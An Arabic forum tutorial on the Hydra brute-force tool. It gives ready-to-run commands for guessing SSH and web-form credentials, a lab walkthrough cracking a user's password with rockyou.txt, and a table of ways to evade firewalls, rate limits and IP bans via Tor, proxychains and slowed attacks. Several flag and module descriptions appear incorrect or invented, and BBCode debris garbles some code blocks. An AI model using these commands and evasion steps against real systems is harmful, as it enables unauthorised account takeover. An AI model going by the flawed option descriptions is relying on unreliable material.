مضى على الشبكة و يوم من العطاء.
  • تحذير: يجب على كل روّاد الشبكة تشغيل برامج الاختراق داخل الأنظمة الوهمية وهي بهدف التعلم وحماية الأعضاء والتوعية بها

شرح وتوثيق أداة Hydra | Hydra Documentation


السمعة:

1730807665253.gif


محتويات الموضوع
1. ما هي Hydra
2. أشهر البروتوكولات التي تدعمها Hydra
3. متطلبات مهمة قبل إكمال القراءة
4. أشهر 10 بروتوكولات ستستهدفها بـ Hydra
5. تثبيت الأداة
6. استخدام الأدة
7. بداية الـDocumentation
8 . الخيارات Flags
9. أوامر جاهزة لاستخدامات متعددة
10. خيارات الويب
11. تفاصيل إضافية تخص الويب
12 - تخطي جدران الحماية
13. محتوى مخفي
14. المصادر والمراجع

1732033427018.webp

ما هي أداة Hydra ؟؟
هي أداة تستخدم من قبل المهاجمين، بغرض كسر كلمات المرور عبر الهجمات العنيفة (Brute Force)، وتعد أداة فعالة وسريعة لتخمين معلومات تسجيل الدخول (Credentials) التي نستخدمها للولوج إلى الأنظمة المختلفة.

تستطيع هذه الأداة أن تُجرِّب قائمة طويلة من كلمات المرور أو معلومات تسجيل الدخول على بعض خدمات المصادقة مثل SSH او FTP أو SNMP وحتى صفحات الويب لتسجيل الدخول.

وفقًا للمستودع الرسمي لأداة hydra ، تمتلك هذه الأداة القدرة على مهاجمة العديد من البروتوكولات، ومنها :
كود:
Asterisk[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]AFP
Cisco AAA
Cisco auth
Cisco enable
CVS
Firebird
HTTP-FORM-GET
HTTP-FORM-POST
HTTP-GET
HTTP-HEAD
HTTP-POST
HTTP-PROXY
HTTPS-FORM-GET
HTTPS-FORM-POST
HTTPS-GET
HTTPS-HEAD
HTTPS-POST
HTTP-Proxy
ICQ
IRC
MEMCACHED
MONGODB
MS-SQL
MYSQL
NCP
NNTP
Oracle Listener
Oracle SID
Oracle
PC-Anywhere
PCNFS
POSTGRES
Radmin
Rexec
Rlogin
Rsh
RTSP
SAP/R3
SNMP v1+v2+v3
SOCKS5
SSHKEY
Subversion
TeamSpeak (TS2)
VMware-Auth
VNC
XMPP


متطلبات مهمة قبل إكمال القراءة

1 - فهم لأساسيات Linux
2 - فهم لأساسيات جمع المعلومات والاستهداف
3 - فهم لأساسيات اختبار اختراق الويب
4 - فهم لأساسيات اختبار اختراق الشبكات وبالتالي يتطلب الأمر معرفة جيدة بعلم الشبكات

هذا الجدول يحتوي على أشهر 10 بروتوكولات تستطيع Hydra تخمينها
بروتوكولات نقل صفحات الويب والنماذج عبر الشبكة وتختلف في جانب الأمان
HTTP/HTTPS
بروتوكول نقل الملفات بين الأنظمة عبر الشبكة.
FTP
بروتوكول اتصال آمن للتحكم عن بعد وإدارة الخوادم.
SSH
بروتوكول إرسال البريد الإلكتروني بين الخوادم.
SMTP
بروتوكولات لاستلام البريد الإلكتروني من الخوادم (IMAP للاتصال المستمر وPOP3 للتنزيل).
IMAP/POP3
بروتوكول مشاركة الملفات والطابعات بين الأنظمة على الشبكة المحلية.
SMB
بروتوكول اتصال سطح المكتب البعيد للوصول إلى أجهزة Windows.
RDP
بروتوكول نصي للتحكم عن بعد في الأجهزة ولكنه غير آمن مقارنة بـ SSH.
Telnet
بروتوكول لإدارة وتخزين بيانات المستخدمين والمعلومات الموزعة.
LDAP
بروتوكول لنقل الصوت والفيديو عبر الإنترنت، ويستخدم في VoIP.
SIP

للحصول على مزيد من المعلومات حول الخيارات الخاصة بكل بروتوكول في Hydra، يمكنك الاطلاع على صفحة أداة Hydra في كالي لينكس.

هذا يُبرز أهمية استخدام كلمة مرور قوية؛ فإذا كانت كلمة مرورك شائعة، ولا تحتوي على رموز خاصة، وليست أطول من ثمانية أحرف، فإنها ستكون عرضة للتخمين.

لذا عند استخدام تطبيق يستخدم كلمة مرور سهلة لتسجيل الدخول، غيّرها من الإعدادات الافتراضية! غالبًا ما تستخدم الكاميرات الأمنية (CCTV) وإطارات العمل على الويب admin كبيانات اعتماد تسجيل الدخول الافتراضية، وهو ما يُعتبر غير آمن بما يكفي.

تثبيت أداة Hydra

الأداة تأتي مثبتة بشكل افتراضي في توزيعات اختبار الاختراق مثل Kali Linux ومع ذلك إن كنت تفضل استخدام توزيعات أخرى غير Kali مثل أوبنتو أو فيدورا فقم بتنفيذ الأمر التالي :

apt install hydra

أو

dnf install hydra

كما يمكنك أيضا تنزيل الأداة من المستودع الرسمي من THC-Hydra

استخدام الأداة
Hydra لها 4 حالات تقريبًا فيما يخص الاستخدام:

1- الحالة الأولى : هي تخمين على كلمة المرور لمستخدم ما لأحد البروتوكولات
2- الحالة الثانية : هي تخمين كلمة السر واسم المستخدم معا لأحد البروتوكولات
3- الحالة الثالثة : هي تخمين كلمة المرور لمستخدم ما لتطبيق ويب
4- الحالة الرابعة : هي تخمين اسم المستخدم وكلمة السر لمستخدم ما في تطبيق ويب
5- يوجد حالة خامسة: وهي تخمين اسم المستخدم فقط ولكنها نادرة نوعًا ما

لنمر سريعًا على هذه الحالات

iTS30053.webp


♻️ الحالة الأولى : تخمين كلمة مرور لبروتوكول

المعطيات المطلوبة لهذه الحالة هي كالاتي :

1 - اسم المستخدم (Username)
2 - مسار قائمة كلمات المرور (Password List file)
3 - عنوان الضحية المتمثل في IP
4 - نوع البروتوكول الذي سنهاجمه

لنعطي مثال على استهداف بروتوكول ssh:

كود:
hydra -l admin -P /path/to/wordlist/thelist.txt 10.10.66.4  ssh

ستلاحظ أخي الغالي استخدامنا لبعض الأعلام(Flags) وهي :

الاستخدام
العلم (Flag)
فلاج يوضع قبل اسم المستخدم المراد مهاجمته
l-
فلاج يوضع قبل مسار قائمة كلمات المرور المراد استخدامها في الهجوم
P-

سأضع أمر توضيح آخر:

كود:
hydra -l some_username -P /some_passlist.txt target_ip protocol

iTS30053.webp


♻️ الحالة الثانية : تخمين معلومات تسجيل دخول لبروتوكول (username + password)
ربما لا يكون لديك أي اسم مستخدم لذلك قد تحتاج إلى تخمين أسماء المستخدمين أيضًا، وربما تجد أكثر من اسم مستخدم وتحتاج إلى التخمين عليهم جميعًا
حينها سنقوم بمهاجمة مجموعة من أسماء المستخدمين دفعة واحدة والمتطلبات لا تختلف كثيراً عن الحالة السابقة وهي كالآتي :

1 -مسار قائمة أسماء المستخدمين (Username list file)
2 - مسار قائمة كلمات المرور (Password List file)
3 - عنوان الضحية المتمثل في IP
4 - نوع البروتوكول الذي سنهاجمه

لنهاجم نفس البروتوكول الذي استخدمناه في المرة الفائتة ولكن هذه المرة باستخدام ملفين، ملف لمهاجمة أسماء المستخدمين و ملف آخر لتجربة الباسسوردات على هذه اليوزرات:

كود:
hydra -L /path/to/usernames.txt -P /path/to/password_list.txt 10.10.66.4 ssh

ستلاحظ أخي الغالي استخدامنا لفلاج جديد وهو L- وهو يدل على أن الهدف ليس مستخدم واحد بل عدة مستخدمين وبالتالي القيمة القادمة بعد هذا الفلاج ستكون مسار ملف لأسماء مستخدمين

iTS30053.webp


♻️ الحالة الثالثة : تخمين صفحات تسجيل الدخول (لتطبيقات الويب)
هنا سنستخدم نفس المبدأ ولكن بعد إضافة بعد التعديلات البسيطة وهي ليست معقدة أو صعبة ولا تهتم لكثرة الرموز فالأمر جدًا بسيط
ركز يا حلو في المثال التوضيحي القادم ..

كود:
hydra -l <username> -P <wordlist> 10.10.66.4 http-post-form "<target-Path>:<login_credentials_variables>:<invalid_response>"

لا تكمل الشرح وحاول أن تطبق الأمر بنفسك بما فهمت من المثال التوضيحي(سنشرح بالتفصيل تاليا ولكن حاول), انظر لهذا المثال وحاول أن تفهم دون شرح

كود:
hydra -l admin -P /path/to/wordlist.txt 10.10.66.4 http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect"

الجديد في هذا الأمر هو كالتالي :
الوصف
الفلاج
هذا الخيار يخبر الأداة بأننا سننفذ هجوم على صفحة ويب لتسجيل الدخول
http-post-form
هذا هو مسار صفحة تسجيل الدخول الذي سنهاجمه
login.php/
هذا المتغير هو المتغير الخاص بخانة اسم المستخدم(سنوضح كيف حصلنا عليه لاحقا)
=username
هذه العلامة هي اختصار لكلمة and
&
هذا المتغير هو المتغير الخاص بخانة كلمة المرور(سنوضح كيف حصلنا عليه لاحقا)
=password
هذه الخانات تدل على الأماكن التي ستهاجمها الأداة، بمعنى أنه بدلا من PASS ستضع الأداة تخمينات كلمات المرور وبدلا من USER ستضع الأداة تخمينات اسم المستخدم.
^USER^ , ^PASS^
حرف الـF يرمز لرسالة الخطأ التي ستظهر لك في حال كان المدخل غير صحيح حتى تتجنبها الأداة
F=incorrect

إذا فهمت فكثر الله خيرك وإن لم تفهم بعد فسأشرح بتفصيل أكبر

لم نطبق بشكل عملي بعد

راجع ما ذكرت ثم طبق معي كما أقول تالياً

ببساطة شديدة سنكتب اسم الأداة أولا ومن ثم نضع الفلاج الخاص باسم المستخدم
ثم نكتب اسم المستخدم ومن بعده الفلاج الخاص بقائمة كلمات المرور
ثم نضع عنوان الهدف سواء كان رابط أو عنوان IP
ثم سنضع المعلومات التالية بين علامتي تنصيص ""
بقية رابط صفحة تسجيل الدخول
ثم نقطتان رأسيتان
ثم دالة اسم المستخدم وكلمة المرور ملتصقتين ببعض هكذا
كود:
username=^USER^&password=^PASS^
ثم نقطتان رأسيتان
ثم دالة رسالة الخطأ
كود:
F=incorrect
لنجرب بشكل عملي حتى تصل الصورة بشكل أوضح, لدينا العنوان التالي فلنقم باستهدافه:

كود:
10.10.121.171

لدينا اسم مستخدم اسمه molly, لنفحص الهدف أولًا بالـnmap ونرى:

1730828201842.webp

الأمر:

كود:
nmap 10.10.121.171 -vv

بعد الفحص نجد أننا لدينا منفذين مفتوحين هما:
  • 80 http
  • 22 ssh

لنبدأ بالـ ssh, مع العلم أننا لدينا في هذا اللاب اسم مستخدم موجود بالفعل للتجربة

الاسم هو molly
الأمر
كود:
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.121.171 ssh

1730828459534.webp


نجح الهجوم كما نرى والان لنجرب على تطبيق الويب بما أننا لدينا منفذ 80 مفتوح وعليه بروتوكول http
بمجرد أن وضعت عنوان الip في المتصفح أدخلني مباشرة إلى صفحة تسجيل الدخول
1730828548521.webp

1730828562952.webp

أول ما سنحتاج إلى فعله هو تشغيل أداة Burp حتى نحصل على الركوست الذاهب إلى السيرفر
ملحوظة : قمت بإعادة تشغيل اللاب بسبب مشكلة تقنية وبالتالي سيتغير عنوان الهدف

سنقوم الان بوضع اسم مستخدم وكلمة مرور عشوائيين أثناء عمل الـburp حتى نحصل على الركوست
سنجرب meow كإسم مستخدم و meow2 كرمز سري ونضغط login وننظر إلى الburp
1731069171333.webp

كما نرى ظهر لنا الركوست، طبعا عادة الركوستات تكون POST مش GET
إذا طلعلك GET فغالبا إما إنها مصيدة لك أو إن المطور مهرج 🤡
وأحيانا بعض الـforms تحتاج GET و غيرها يعني مش ضروري يكون المطور مهرج
الان كما يظهر لنا في آخر سطر نجد الكود الاتي
كود:
username=meow&password=meow1
هكذا حصلنا على أول ما سنحتاجه
والان سنعمل Forward وننظر إلى رسالة الخطأ التي ستظهر

1731069449269.webp

كما نرى ظهرت لنا رسالة الخطأ تحت كلمة login
هذا كل ما سنحتاجه، والان سنكتب الامر
كود:
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.111.249 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect."
1731070341262.webp

ملحوظة : بإمكانك إهمال الـ F- إذا أردت، ستعمل الأداة بلا مشاكل ولكن نقوم بتطبيق الـ Best Practice لا أكثر

هكذا نكون قد طبقنا على استهداف مستخدم واحد سواء في الويب أو مع البروتوكولات
إذا أردت أن تستهدف اكثر من اسم مستخدم كل ما ستفعله هو تغيير معرف اسم المستخدم من l- إلى L-
ومن ثم تقوم بإضافة قائمة أسماء المستخدمين، أي أن الأمر سيكون هكذا
كود:
hydra -L /usr/share/wordlists/names.txt -P /usr/share/wordlists/rockyou.txt 10.10.111.249 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect."

الان لنذهب للخلاصة
كل ما سيأتي هوا عبارة عن documentation تفصيلي للأداة
وتذكر دائما أن الصيغة الأساسية التي سنعتمدها في الشرح هي كالاتي
كود:
hydra -L/-l -P/-p target protocol [options]

إليك جدولًا مفصلًا يحتوي على جميع الخيارات المتوفرة في أداة Hydra مع شرح لكل خيار ..
L-
تحديد ملف يحتوي على قائمة أسماء المستخدمين.
l-
تحديد اسم مستخدم واحد ثابت للهجوم.
P-
تحديد ملف يحتوي على قائمة كلمات المرور.
p-
تحديد كلمة مرور واحدة ثابتة للهجوم.
M-
تحديد ملف يحتوي على قائمة بأهداف متعددة (عناوين IP أو أسماء نطاقات).
s-
تحديد رقم منفذ معين لاستهداف البروتوكولات التي تعمل على منافذ غير افتراضية.
S-
تمكين SSL/TLS لتشفير الاتصال مع البروتوكولات التي تدعمه.
e-
تمكين خيارات كلمات المرور الإضافية:
s-
- s لاختبار اسم المستخدم ككلمة مرور.
n-
- n لاختبار كلمات المرور الفارغة.
r-
- r لاختبار اسم المستخدم وكلمة المرور معًا.
t-
تحديد عدد الجلسات الموازية (threads) للهجوم. القيمة الافتراضية هي 16.
w-
تحديد المهلة (timeout) بالثواني لكل محاولة اتصال.
v-
تمكين الوضع التفصيلي (عرض تفاصيل المحاولات الفاشلة فقط).
V-
تمكين الوضع التفصيلي الكامل (عرض كل المحاولات، الناجحة والفاشلة).
f-
التوقف عند أول محاولة ناجحة.
o-
تحديد ملف لحفظ نتائج المحاولات الناجحة.
I-
تمكين وضع الاستعادة (resume) لاستكمال هجوم توقف فجأة.
R-
استئناف هجوم سابق باستخدام ملف الاستعادة الافتراضي hydra.restore.
z-
تقليل سرعة الهجوم عن طريق إدخال تأخير بين المحاولات (slow attack).
d-
تمكين وضع التصحيح (debug mode) لمراقبة الأخطاء واختبار صلاحية الإعدادات.
W-
تحديد عدد المحاولات قبل التوقف لفترة (delay) لتجنب الحظر (slow brute force).
u-
تخطي الفحص الأولي (skip initial checks) لتسريع الهجوم، ولكن قد يؤدي إلى فشل الاتصال في بعض الحالات.
m-
تمرير خيارات إضافية مخصصة للبروتوكول المستهدف.
T-
تحديد حد زمني (time limit) لكل عملية محاولة.
C-
تحديد ملف يحتوي على تركيبات من أسماء المستخدمين وكلمات المرور (combo file) بدلاً من استخدام ملفات منفصلة.
F-
التوقف فور اكتمال الهجوم على هدف واحد.
h-
عرض صفحة المساعدة لجميع الخيارات المتاحة في Hydra.
O-
تمكين دعم الملفات الضخمة (large file support) لاستخدام ملفات كبيرة جدًا لأسماء المستخدمين أو كلمات المرور.
debug--
تمكين وضع تصحيح إضافي أكثر تفصيلًا للمطورين أو لتشخيص المشكلات.
ignore--
تجاهل فشل الاتصال بالأهداف أثناء الهجوم (ignore connection errors).
http-proxy--
تحديد بروكسي HTTP للمرور عبره أثناء الهجوم.
socks-proxy--
تحديد بروكسي SOCKS4/5 للمرور عبره أثناء الهجوم.
q-
تمكين الوضع الصامت لإخفاء معظم مخرجات الأداة (quiet mode).
continue--
متابعة الهجوم بعد مقاطعة بدون إعادة جميع المحاولات السابقة.
proxy--
تمرير جميع الطلبات عبر بروكسي يدعم HTTP أو SOCKS (مماثل لـ proxychains).
x-
إنشاء كلمات مرور ديناميكية بناءً على معايير:
- min:max طول كلمة المرور (على سبيل المثال: 4:8).
-------------------------
- charset لتحديد الحروف المسموح بها:
- a للأحرف الصغيرة.
- A للأحرف الكبيرة.
- 1 للأرقام.
- ! للرموز الخاصة.
-------------------------
مثال على ذلك :
-------------------------
hydra -l admin -x 6:10:Aa1 target-ip ssh
بالنسبة لشرح الأمر الأخير فهو كالتالي :
6:10 هذا ينشيء كلمات مرور بطول يتراوح بين 6 و 10 خانات
Aa1 يقوم بتحديد مجموعة الأحرف المستخدمة
A الأحرف الكبيرة
a الأحرف الصغيرة
1 الأرقام
----------------
مثال أكثر تعقيدًا مع رموز خاصة:
كود:
hydra -L users.txt -x 8:12:Aa1! target-ip http-post-form "/login:user=^USER^&pass=^PASS^:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


  • 8:12: إنشاء كلمات مرور بطول 8 إلى 12 حرفًا.​
  • Aa1!: إضافة الرموز الخاصة (!) إلى مجموعة الأحرف.​

الجدول التالي سيكون فيه أمثلة على جميع حالات استخدام أداة hydra مع الشرح ..
الأمر
الوصف / الشرح
hydra -L users.txt -P passwords.txt target-ip protocol
الصيغة الأساسية: مهاجمة هدف معين مع قائمة أسماء مستخدمين وكلمات مرور باستخدام بروتوكول محدد.
hydra -L users.txt -P passwords.txt -s port target-ip protocol
إضافة خيار المنفذ -s لاستهداف بروتوكول يعمل على منفذ مخصص غير الافتراضي.
hydra -L users.txt -P passwords.txt -S target-ip protocol
استخدام TLS/SSL (تشفير الاتصال) مع البروتوكولات التي تدعمه مثل HTTPS، IMAPS، SMTPS، إلخ.
hydra -L users.txt -P passwords.txt -t 16 target-ip protocol
استخدام 16 جلسة موازية (threads) لتحسين سرعة الهجوم.
hydra -L users.txt -P passwords.txt -e nsr target-ip protocol
اختبار كلمات المرور الفارغة (e) أو اسم المستخدم ككلمة مرور (s) أو كليهما (r).
hydra -L users.txt -P passwords.txt -o results.txt target-ip protocol
حفظ نتائج المحاولات الناجحة في ملف results.txt لمراجعتها لاحقًا.
hydra -l admin -P passwords.txt target-ip protocol
استخدام اسم مستخدم ثابت "admin" بدلاً من قائمة أسماء المستخدمين.
hydra -L users.txt -p password target-ip protocol
استخدام كلمة مرور ثابتة "password" مع قائمة أسماء المستخدمين.
hydra -L users.txt -P passwords.txt -vV target-ip protocol
تمكين الوضع التفصيلي لمراقبة كل محاولة تسجيل دخول ناجحة أو فاشلة.
hydra -L users.txt -P passwords.txt -M targets.txt protocol
استهداف عدة أهداف في وقت واحد مع تحديدها داخل ملف targets.txt.
hydra -L users.txt -P passwords.txt target-ip http-get /path
مهاجمة صفحة تسجيل دخول باستخدام طلب HTTP GET (يُستخدم للواجهات البسيطة).
hydra -L users.txt -P passwords.txt target-ip http-post-form "/login:user=^USER^&amp;pass=^PASS^:Login failed"
مهاجمة نموذج تسجيل الدخول باستخدام HTTP POST، مع تحديد الحقول المراد تعبئتها والنص الدال على الفشل ("Login failed").
hydra -L users.txt -P passwords.txt -t 64 -f target-ip protocol
استخدام 64 جلسة موازية (-t 64) والتوقف عند أول محاولة ناجحة (-f).
hydra -L users.txt -P passwords.txt -I target-ip protocol
استخدام وضع الاستعادة (resume mode) لاستكمال المحاولات السابقة في حالة التوقف المفاجئ.
hydra -L users.txt -P passwords.txt -s port -S -t 32 -e nsr -o results.txt target-ip protocol
تجميع الخيارات معًا: استهداف منفذ معين، تمكين SSL، زيادة الجلسات الموازية، اختبار كلمات مرور خاصة، وحفظ النتائج في ملف.
hydra -l admin -P passwords.txt target-ip http-form-get "/admin:user=^USER^&amp;password=^PASS^:Access Denied"
مهاجمة صفحة إدارية مع نموذج تسجيل دخول محدد، والتحقق من نص يدل على فشل المحاولة.
hydra -L users.txt -P passwords.txt -w 30 target-ip protocol
تحديد مهلة (timeout) قدرها 30 ثانية لكل محاولة اتصال.
hydra -L users.txt -P passwords.txt -R target-ip protocol
استئناف هجوم توقف سابقًا باستخدام الملف الافتراضي للحالة (hydra.restore).

خيارات الويب
أداة Hydra تقدم خيارات متعددة لاستهداف صفحات تسجيل الدخول بناءً على طرق الإرسال والبروتوكولات، وتتنوع الاستخدامات بناء على السيناريو ونوع التطبيق المستهدف، لذلك سأقدم لك جميع الخيارات المتاحة مع شرح مفصل.
الحالة
الوصف
http-post-form
مهاجمة صفحات تسجيل الدخول التي تستخدم طريقة POST لإرسال بيانات النموذج. تتطلب تحديد مسار URL، وهيكلة الحقول (مثل username وpassword)، والنص الدال على الفشل.
http-get-form
مهاجمة صفحات تسجيل الدخول التي تستخدم طريقة GET لإرسال بيانات النموذج عبر عنوان URL. تعمل بنفس بنية http-post-form، لكنها مناسبة لواجهات تسجيل دخول أبسط.
http-head
استخدام طلب HTTP HEAD لاستهداف صفحات معينة، مما يوفر سرعة أعلى لأنه لا يجلب محتوى الصفحة بالكامل.
http-form-get
مشابه لـ http-get-form ولكن مخصص لاستهداف النماذج التي تستخدم الحقول بشكل ديناميكي أو تحتوي على استعلامات أكثر تعقيدًا في GET.
http-form-post
مشابه لـ http-post-form ولكن يُستخدم للسيناريوهات الأكثر تعقيدًا مثل الحقول الإضافية (مثل رموز التحقق أو حقول مخفية).
http-proxy
استخدام بروكسي HTTP لتمرير الهجمات عبره، مناسب لتجاوز القيود أو تخطي التتبع.
http-proxy-url
استهداف خادم HTTP باستخدام بروكسي محدد يدويًا مع خيار URL.
http-proxy-auth
مهاجمة خادم HTTP عبر بروكسي مع توفير بيانات اعتماد للبروكسي نفسه (اسم مستخدم وكلمة مرور).
https-post-form
نسخة مشفرة (TLS/SSL) من http-post-form تستهدف صفحات تسجيل الدخول التي تعمل على HTTPS.
https-get-form
نسخة مشفرة من http-get-form لمهاجمة النماذج التي تستخدم HTTPS لإرسال البيانات عبر عنوان URL.
http-basic-auth
مهاجمة صفحات تسجيل الدخول التي تستخدم آلية المصادقة الأساسية (Basic Authentication) في HTTP، حيث يتم إرسال بيانات الاعتماد في عنوان الطلب.
http-digest-auth
مهاجمة صفحات تسجيل الدخول التي تستخدم آلية المصادقة Digest Authentication، وهي أكثر أمانًا من Basic Auth، حيث يتم تجزئة بيانات الاعتماد.
http-form-basic
استهداف النماذج التي تستخدم المصادقة الأساسية مع طلب GET أو POST.
http-form-digest
استهداف النماذج التي تعتمد على مصادقة Digest مع طلبات GET أو POST.
http-ntlm
مهاجمة صفحات تسجيل الدخول التي تستخدم بروتوكول NTLM Authentication (غالبًا في بيئات Windows).
http-form-ntlm
مخصص لاستهداف نماذج تسجيل الدخول مع NTLM عبر HTTP.
http-jwt
مهاجمة صفحات تسجيل الدخول التي تستخدم رموز JWT (JSON Web Tokens) للتحقق من المستخدمين.
http-cookie
استهداف صفحات تسجيل الدخول مع إرسال ملف تعريف ارتباط (Cookie) محدد يدويًا مع كل طلب.
http-header
إرسال رؤوس HTTP مخصصة مع كل طلب (مثل "User-Agent" أو "Authorization") لاستهداف صفحات تحتاج إلى تفاصيل إضافية.
http-form-cookie
إرسال ملف تعريف ارتباط مخصص مع طلبات النموذج (GET أو POST).
http-form-header
إرسال رؤوس HTTP مخصصة مع طلبات النموذج (GET أو POST).
http-form-json
مهاجمة صفحات تسجيل الدخول التي ترسل بيانات المستخدمين بصيغة JSON عبر طلبات POST أو GET.
http-rest
مهاجمة واجهات RESTful APIs التي تستخدم HTTP POST/GET/PUT/DELETE مع بيانات اعتماد يتم تمريرها كـ JSON أو حقول مباشرة.
تفاصيل إضافية لكل حالة :
1. http-post-form

كود:
hydra -L users.txt -P passwords.txt target-ip http-post-form "/login:username=^USER^&password=^PASS^:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


يهاجم صفحة تسجيل دخول ترسل الحقول username وpassword عبر POST.

2. http-get-form
كود:
hydra -L users.txt -P passwords.txt target-ip http-get-form "/login?username=^USER^&password=^PASS^:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


يهاجم نموذج تسجيل دخول يرسل البيانات في URL.

3. http-cookie
كود:
hydra -L users.txt -P passwords.txt -m "Cookie: sessionid=12345" target-ip http-post-form "/login:username=^USER^&password=^PASS^:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


استخدام ملف تعريف ارتباط صالح للهجوم على جلسة تسجيل دخول نشطة.

4. http-jwt
كود:
hydra -L users.txt -P passwords.txt -m "Authorization: Bearer <JWT_TOKEN>" target-ip http-post-form "/api/login:user=^USER^&pass=^PASS^:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


مهاجمة واجهة API تتطلب JWT.

5. http-header
كود:
hydra -L users.txt -P passwords.txt -m "User-Agent: Mozilla/5.0" target-ip http-post-form "/login:user=^USER^&pass=^PASS^:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


إرسال رأس مخصص مثل User-Agent لتخطي الحظر.

6. http-rest
كود:
hydra -L users.txt -P passwords.txt target-ip http-post-form "/api/login:{"username":"^USER^","password":"^PASS^"}:Invalid login"[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]


استهداف API RESTful تستخدم JSON.

كيفية تحديد النوع المناسب؟

  • استخدم أدوات مثل Burp Suite أو Fiddler لفحص الطلبات وتحديد الطريقة المستخدمة (GET/POST) وهيكل البيانات (نص عادي، JSON، إلخ).​
  • استنادًا إلى نوع المصادقة أو البيانات المرسلة، اختر الخيار المناسب في Hydra.​

تخطي جدران الحماية باستخدام Hydra
لتخطي جدران الحماية أثناء استخدام أداة Hydra، يمكننا تعديل الأوامر بإضافة تقنيات مثل ضبط خيارات الشبكة، تقليل أثر الهجمات، واستخدام بروكسيات أو شبكات VPN. سأضع لك جدولًا شاملاً يحتوي على الأوامر المعدلة التي تستخدم تقنيات تخطي جدران الحماية بحالات مختلفة.
الأمر
التقنية المستخدمة لتخطي جدران الحماية
hydra -L users.txt -P passwords.txt -s port -t 16 -w 30 target-ip protocol
تقليل الجلسات الموازية (-t 16) وزيادة المهلة (-w 30) لتقليل النشاط المريب على الشبكة الذي قد يتم اكتشافه من قبل جدران الحماية.
hydra -L users.txt -P passwords.txt -s port -V -x 4:8:Aa1 target-ip protocol
استخدام ميزة إنشاء كلمات مرور مخصصة ديناميكيًا (-x) لتجنب القوائم الثابتة التي قد تُكتشف بسهولة.
hydra -L users.txt -P passwords.txt -s port -I -f -t 4 -w 10 -z target-ip protocol
تقليل السرعة باستخدام الخيار -z لجعل الهجوم يبدو أقل نشاطًا.
proxychains hydra -L users.txt -P passwords.txt target-ip protocol
تمرير جميع طلبات Hydra عبر بروكسي باستخدام أداة proxychains لتخطي قيود الوصول أو الحظر بناءً على عنوان IP.
torify hydra -L users.txt -P passwords.txt target-ip protocol
استخدام شبكة Tor عبر torify لتجاوز الحظر الجغرافي أو تصفية عناوين IP.
hydra -L users.txt -P passwords.txt -s port -R -w 20 -t 8 -e nsr -o results.txt target-ip protocol
الاستفادة من استئناف الهجوم بعد التوقف (-R) لتجنب الكشف الناتج عن زيادة النشاط المفاجئ عند بدء الهجوم مجددًا.
hydra -L users.txt -P passwords.txt -s port -S -d target-ip protocol
تمكين وضع التصحيح (-d) لرؤية الأخطاء والتأكد من أن الهجوم يعمل بشكل صحيح أثناء تجنب التنبيهات غير الضرورية.
hydra -L users.txt -P passwords.txt -s port -p proxy-list.txt -M targets.txt protocol
استخدام قائمة بروكسيات (proxy-list.txt) لاستهداف عدة أهداف عبر ملفات متعددة (-M targets.txt) مع تقليل احتمالية الحظر.
hydra -L users.txt -P passwords.txt -t 1 -w 60 target-ip protocol
تشغيل جلسة واحدة فقط في كل مرة (-t 1) مع مهلة طويلة (-w 60) لجعل الهجوم بطيئًا جدًا وتجنب الحظر.
hydra -L users.txt -P passwords.txt -S -s port -t 64 -w 5 -vV target-ip protocol
تشغيل عدد كبير من الجلسات الموازية (-t 64) مع مهلة صغيرة جدًا (-w 5) لزيادة سرعة الهجوم مع استخدام TLS لتجنب الحظر عن طريق تحليل النصوص غير المشفرة.
hydra -L users.txt -P passwords.txt target-ip protocol -x 6:12:Aa1! -t 4 -w 15
إنشاء كلمات مرور ديناميكية تتضمن رموزًا خاصة لتجنب الحظر الذي يعتمد على أنماط الكلمات.
hydra -L users.txt -P passwords.txt -t 8 -W 3 target-ip protocol
استخدام خيار -W لتحديد عدد المحاولات قبل التوقف لفترة لتجنب الكشف عن الهجمات العنيفة.
hydra -L users.txt -P passwords.txt -m proxychains target-ip protocol
دمج Hydra مع proxychains لاستخدام عناوين IP ديناميكية متعددة لتخطي القوائم السوداء أو حدود معدل الطلب.
hydra -L users.txt -P passwords.txt -o results.txt -s port -w 10 -f -M targets.txt protocol
حفظ النتائج في ملف أثناء استهداف عدة عناوين لتوزيع الهجوم على أهداف متعددة، ما يصعب عملية التتبع.
hydra -L users.txt -P passwords.txt -s port -t 4 -w 30 -z -x 5:8:Aa1 target-ip protocol
جعل الهجوم بطيئًا للغاية باستخدام الخيارات -z و-w مع كلمات مرور ديناميكية لتجنب اكتشاف الأنماط الثابتة.
hydra -L users.txt -P passwords.txt -S -I -e nsr -t 16 -w 10 -M targets.txt protocol
الجمع بين خيارات متقدمة مثل استئناف الهجوم (-I) واختبار كلمات المرور الديناميكية وتوزيع الأهداف باستخدام ملفات متعددة.
hydra -L users.txt -P passwords.txt -s port -V -x 4:8:Aa1 -z target-ip protocol
تمكين الوضع الصامت وتقليل سرعة الهجوم مع كلمات مرور ديناميكية.

الحمايات الشائعة التي ستواجهها أثناء استخدام Hydra

1 - حدود المحاولات ( Rate Limiting )
جدران الحماية أو الخدمات نفسها تمنع عددًا كبيرًا من المحاولات في وقت قصير مثل السماح بعدد محاولات معين قبل أن يتم حظر عنوان الـIP الخاص بك
2 - حظر عنوان الـIP الخاص بك بسبب النشاط المريب
قد لا يتم حظرك بسبب عدد المحاولات لكن قد يتم حظرك بسبب النشاط المريب كالـrequests الزائدة عن المعدل الطبيعي من نفس العنوان(IP)
3 - استخدام CAPTCHA
الكثير من خدمات الويب الان تستخدم الـ CAPTCHA لحماية المستخدمين من هجمات القوة الغاشمة (Brute Force)
4 - التأخير الديناميكي
